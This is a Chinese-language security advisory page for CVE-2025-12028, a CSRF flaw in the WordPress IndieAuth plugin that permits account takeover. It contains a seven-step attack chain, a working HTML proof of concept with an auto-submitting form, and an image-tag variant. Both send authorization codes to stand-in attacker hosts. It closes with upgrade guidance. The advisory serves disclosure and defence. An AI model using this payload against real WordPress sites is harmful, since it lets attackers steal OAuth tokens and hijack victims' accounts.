IPBUF安全漏洞报告
English
CVE-2025-12028 CVSS 8.8 高危

CVE-2025-12028 WordPress IndieAuth插件CSRF漏洞导致账户接管

披露日期: 2025-10-24

漏洞信息

漏洞编号
CVE-2025-12028
漏洞类型
跨站请求伪造 (CSRF)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
WordPress IndieAuth Plugin

相关标签

CSRFWordPress插件漏洞OAuth安全IndieAuth账户劫持跨站请求伪造授权绕过

漏洞概述

WordPress IndieAuth插件4.5.4及之前所有版本存在跨站请求伪造(CSRF)漏洞。该漏洞源于login_form_indieauth()函数和wp-login.php?action=indieauth授权端点缺少nonce验证机制。攻击者可以通过构造恶意页面或链接,诱骗已登录用户在不知情的情况下批准OAuth授权请求,从而允许攻击者控制的应用程序获得授权。攻击者随后可以将窃取的授权码兑换为访问令牌,有效接管受害者的账户,并获得create、update、delete等操作权限。此漏洞无需任何认证即可发起攻击,但需要用户交互(如点击链接或访问恶意页面)。

技术细节

IndieAuth是WordPress的一个OAuth实现插件,用于支持Mastodon等去中心化社交平台的登录认证。该插件在处理授权确认请求时存在CSRF漏洞。具体来说,login_form_indieauth()函数和wp-login.php?action=indieauth端点未对用户请求进行有效的nonce令牌验证。攻击者可以构造一个自动提交的表单或利用图片标签等HTML元素,在用户不知情的情况下向目标站点发起授权确认请求。由于WordPress登录用户已具有有效的会话 cookie,浏览器会自动发送这些cookie,导致授权请求被成功处理。攻击者利用此漏洞可获取受害者的OAuth授权码,进而兑换访问令牌,实现账户劫持。攻击成功的前提是受害者必须处于已登录状态。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意OAuth应用程序,配置回调URL指向自己的服务器
STEP 2
步骤2
攻击者创建包含自动提交表单的恶意网页,表单内容为IndieAuth授权确认请求
STEP 3
步骤3
攻击者通过钓鱼邮件、社交工程或恶意网站诱骗已登录WordPress用户访问该恶意页面
STEP 4
步骤4
用户浏览器自动向目标站点的wp-login.php?action=indieauth发送POST请求,由于用户已登录,浏览器自动附带session cookie
STEP 5
步骤5
IndieAuth插件因缺少nonce验证而错误地认为用户已确认授权,生成授权码并发送给攻击者控制的回调URL
STEP 6
步骤6
攻击者使用窃取的授权码向token端点发起请求,兑换访问令牌
STEP 7
步骤7
攻击者获得包含create、update、delete权限的访问令牌,成功接管受害者账户

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-12028 --> <!-- Auto-submit form to force victim approval of OAuth authorization --> <!DOCTYPE html> <html> <head> <title>CSRF Exploit - CVE-2025-12028</title> </head> <body> <h1>CSRF Exploit for IndieAuth Plugin</h1> <p>If this page auto-submits, the attack was successful.</p> <form action="https://target-wordpress-site/wp-login.php?action=indieauth" method="POST" id="csrf-form"> <input type="hidden" name="response_type" value="code"> <input type="hidden" name="client_id" value="https://attacker-controlled-app.com"> <input type="hidden" name="redirect_uri" value="https://attacker-controlled-app.com/callback"> <input type="hidden" name="state" value="random_state_value"> <input type="hidden" name="scope" value="create update delete"> <input type="hidden" name="action" value="approve"> <input type="hidden" name="code" value="attacker_generated_code"> <!-- Missing nonce field - this is the vulnerability --> </form> <script> // Auto-submit the form when page loads document.getElementById('csrf-form').submit(); </script> </body> </html> <!-- Alternative: Image tag based CSRF (no user interaction) --> <!-- <img src="https://target-wordpress-site/wp-login.php?action=indieauth&response_type=code&client_id=https://attacker.com&redirect_uri=https://attacker.com/callback&state=xyz&scope=create%20update%20delete&action=approve" width="0" height="0"> -->

影响范围

IndieAuth Plugin < 4.5.5

防御指南

临时缓解措施
立即将IndieAuth插件升级到最新版本(4.5.5及以上)。如果无法立即升级,可以在WordPress中临时禁用IndieAuth插件,直到完成安全更新。同时应提醒用户不要点击来源不明的链接,并在访问可疑网页时先退出WordPress账户登录状态。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表